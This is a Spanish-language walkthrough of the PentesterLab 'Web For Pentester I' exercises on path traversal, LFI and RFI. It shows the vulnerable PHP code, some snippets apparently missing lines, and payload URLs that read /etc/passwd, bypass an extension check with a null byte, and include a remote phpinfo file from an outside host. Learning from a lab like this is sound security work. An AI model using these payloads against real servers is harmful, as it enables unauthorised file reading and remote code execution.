Web For Pentester I - Path Traversal, LFI & RFI
Web For Pentester I - Path Traversal, LFI & RFI
Web For Pentester I - Path Traversal, LFI & RFI
Seguimos con el lab 'Web For Pentester' de Pentesterlab, esta vez con
los bloques de vulnerabilidades del tipo 'directory traversal' y 'file
inclusion', por los que un atacante puede leer e incluso ejecutar código
llamando a ficheros fuera del document root del servidor web (tanto en
local como, en ocasiones, remoto) usando path relativos ("../") o
completos, normalmente porque tampoco se filtra correctamente la
entrada de datos del lado del cliente.
DIRECTORY TRAVERSAL
Al empezar con cada uno de estos ejercicios de dir o path traversal no tendréis el
enlace directamente sino unas pequeñas imágenes/iconos, por lo que hay que leer el
código fuente (o usar botón derecho y "copy image location") previamente.
Ejercicio 1
SERVIDOR
<?php
$UploadDir = '/var/www/files/';
if (!(isset($_GET['file'])))
die();
$file = $_GET['file'];
if (!is_file($path))
die();
do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);
fclose($handle);
exit();
?>
Como veis en el código del servidor no se filtra $file = $_GET['file']; por lo que
explotar esta vulnerabilidad es trivial, simplemente añadiendo "../" unas cuantas veces
para llegar hasta la raíz y, a partir de ahí, indicar las rutas y ficheros comunes o
predecibles a leer. Eso sí, hay que tener en cuenta que podrás acceder a los ficheros
con los permisos asignados al usuario que corre el servidor web, por lo que
normalmente no podrás acceder a ficheros como por ejemplo /etc/shadow.
PAYLOAD:
http://pentesterlab/dirtrav/example1.php?
file=../../../../../../../../etc/passwd
En este caso el navegador muestra directamente la salida, pero muchas veces nos
tendremos que descargar previamente el fichero (cabecera Content-Disposition:
attachment) y luego editarlo para ver su contenido. Para evitar la auténtica pesadez de
hacer ésto, sobretodo cuando trabajemos con muchos ficheros podemos usar otras
herramientas como wget:
wget -O - http://pentesterlab/dirtrav/example1.php?
file=../../../../../../../../etc/passwd
Ejercicio 2
Si revisáis el código veréis que se comprueba que en la petición debe existir ese full
path:
<?php
if (!(isset($_GET['file'])))
die();
$file = $_GET['file'];
if (!(strstr($file,"/var/www/files/")))
die();
if (!is_file($file))
die();
do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);
fclose($handle);
exit();
?>
por lo que podremos leer de igual forma el fichero passwd simplemente poniendo el
path de la imagen al inicio en nuestro payload:
PAYLOAD
http://pentesterlab/dirtrav/example2.php?
file=/var/www/files/../../../../etc/passwd
Ejercicio 3
En el último ejercicio se fuerza además a que la extensión del fichero de imagen sea
.png:
SERVIDOR
<?php
$UploadDir = '/var/www/files/';
if (!(isset($_GET['file'])))
die();
$file = $_GET['file'];
if (!is_file($path))
die();
do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);
fclose($handle);
exit();
?>
Existe una vieja vulnerabilidad sobretodo en versiones viejas de PHP (hasta la 5.3.4) y
perl que permite anular el procesamiento del resto de una cadena a partir de un byte
nulo (codificado). Es decir, podremos cargar un payload que contenga el path de la
imagen y la extensión de la imagen indicada en el código PHP pero, al contener el
carácter, el proceso en el filesystem ignorará el resto de la cadena, pudiendo acceder a
otros archivos sin la extensión .png.
En el código del ejercicio se simula mediante una función preg_replace (anula también
la necesidad de indicar el full path), con lo que sólo podremos usar nuestro payload
con null byte:
PAYLOAD
http://pentesterlab/dirtrav/example3.php?file=../../../../etc/passwd.png
%2500
FILE INCLUDE
Ejercicio 1
SERVIDOR
<?php
if ($_GET["page"]) {
include($_GET["page"]);
}
?>
Así que como no hay ningún tipo de filtro podremos inyectar sin ninguna restricción:
http://pentesterlab/fileincl/example1.php?page=../../../../../etc/passwd
Por otro lado, para la PoC para el RFI basta con buscar por ejemplo un fichero de txt
accesible desde Internet con una simple función phpinfo:
Código
<?php
phpinfo();
?>
Ej. http://www.spenneberg.org/phpinfo.txt
PAYLOAD 2 (RFI)
http://pentesterlab/fileincl/example1.php?
page=http://www.spenneberg.org/phpinfo.txt
Ejercicio 2
SERVIDOR
<?php
if ($_GET["page"]) {
$file = $_GET["page"].".php";
// simulate null byte issue
$file = preg_replace('/\x00.*/',"",$file);
include($file);
}
?>
PAYLOAD 1 (path o dir traversal)
http://pentesterlab/fileincl/example2.php?page=../../../../../etc/passwd
%2500
PAYLOAD 2 (RFI)
http://pentesterlab/fileincl/example1.php?
page=http://www.spenneberg.org/phpinfo.txt%2500